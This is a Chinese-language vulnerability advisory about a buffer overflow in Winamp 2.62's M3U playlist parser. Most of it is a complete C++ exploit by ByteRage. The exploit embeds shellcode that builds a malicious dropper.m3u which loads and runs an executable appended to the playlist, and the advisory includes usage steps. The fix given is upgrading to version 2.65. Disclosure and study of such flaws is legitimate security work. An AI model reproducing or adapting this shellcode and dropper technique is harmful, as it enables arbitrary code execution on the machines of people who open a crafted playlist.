Winamp的M3U playlist解析存在缓冲溢出发布时间:2001-04-06 更新时间:2001-04-06 严重程度:高 威胁程度:普通用户访问权限 错误类型:输入验证错误 利用方式:服务器模式 受影响系统 Winamp version 2.62详细描述 WINAMP是比较流行的MP3播放器,其中Winmap的M3U playlist解析器存在缓冲溢出,问题发生在当M3U扩展"#EXTINF:"被处理的时候,关键字后面的大小参数没有被检查。溢出可以导致以执行用户的身份运行任意代码。 测试代码 /******************************************************************************************* * wa263bof.cpp - Winamp 2.62/2.63/2.64 full disclosure exploit * * * * buffer overflow found and posted to bugtraq by Pauli Ojanpera (20 July 2000) * * (http://cert.uni-stuttgart.de/archive/bugtraq/2000/07/msg00295.html) * * * * full disclosure exploit written by [ByteRage] * * <byterage@yahoo.com> / byterage.cjb.net (http://elf.box.sk/byterage/) * * * * Sample Exploitation * * ~~~~~~~~~~~~~~~~~~~ * * create dropper.m3u and then append exe file to be executed like this : * * copy /B dropper.m3u+c:\windows\cdplayer.exe hackme.m3u * * * * Have Phun ! * * * *******************************************************************************************/ #include <fstream.h> fstream dropfile; int main () { const char shellcode[0x301] = "\ \x23\x45\x58\x54\x4D\x33\x55\x0D\x0A\x23\x45\x58\x54\x49\x4E\x46\x3A\x58\x58\x58\x58\x58\x58\x58\ \x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\ \x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\ \x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\ \x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\ \x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\ \x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\ \x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\ \x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\ \x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\ \x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\ \x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x10\xA0\ \x11\x11\x58\x58\x58\x58\x2B\x83\x11\x11\x90\x90\x33\xC0\x50\x34\x80\x50\x6A\x03\x34\x80\x50\x6A\ \x03\x34\x80\xC1\xE0\x18\x50\x53\xFF\x15\x68\x90\x11\x11\x8B\xE8\x33\xC9\x51\x53\xB1\x03\xC1\xE1\ \x08\x51\x83\xC3\x04\x53\x50\xFF\x15\xC4\x90\x11\x11\x33\xC9\xB1\x7F\x80\xC1\x7F\x83\xC1\x6F\x03\ \xD9\xFF\xD3\x0D\x0A\x90\x90\x53\x8B\xFB\x81\xC3\xF3\x00\x00\x00\x81\xC7\x12\x01\x00\x00\x53\xFF\ \x15\x54\x90\x11\x11\x8B\xF0\x33\xC0\xD7\x43\x3C\x00\x75\xF8\x53\x56\xFF\x15\x58\x90\x11\x11\xAB\ \x33\xC0\xD7\x43\x3C\x00\x75\xF8\x33\xC0\xD7\x43\x3C\x01\x74\xD6\x3C\x02\x74\xE3\x68\x00\x40\x00\ \x00\x6A\x40\xFF\x57\xF8\x3D\x00\x00\x00\x00\x74\x00\x96\x33\xC0\x50\x34\x80\x50\x6A\x02\x33\xC0\ \x50\x50\x68\x00\x00\x00\xC0\x57\xFF\x15\x68\x90\x11\x11\x3D\xFF\xFF\xFF\xFF\x74\x00\x93\x6A\x00\ \x57\x68\x00\x40\x00\x00\x56\x55\xFF\x15\xC4\x90\x11\x11\x83\x3F\x00\x74\x0F\x6A\x00\x57\xFF\x37\ \x56\x53\xFF\x15\xD4\x90\x11\x11\xEB\xDC\x53\xFF\x15\x28\x90\x11\x11\xC7\x07\x5C\x45\x58\x50\x6A\ \x01\x57\xFF\x57\xFC\x6A\x00\xFF\x15\xC8\x90\x11\x11\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\ \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\ \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\ \x90\x90\x90\x90\x90\x90\x90\x90\x4B\x45\x52\x4E\x45\x4C\x33\x32\x00\x47\x6C\x6F\x62\x61\x6C\x41\ \x6C\x6C\x6F\x63\x00\x02\x57\x69\x6E\x45\x78\x65\x63\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5C\ \x45\x58\x50\x4C\x4F\x49\x54\x2E\x45\x58\x45\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; cout << "Winamp 2.62/2.63/2.64 full disclosure exploit by [ByteRage]\n"; dropfile.open("dropper.m3u", ios::out | ios::trunc | ios::binary); if (!dropfile) { cout << "Ouchy, couldn't open dropper.m3u for output !\n"; return 1; } dropfile.write(shellcode, 0x300); cout << "dropper.m3u created!\n"; return 0; } 解决方案 使用2.65版本。 相关信息 此信息有ByteRage(byterage at YAHOO.COM)分布. |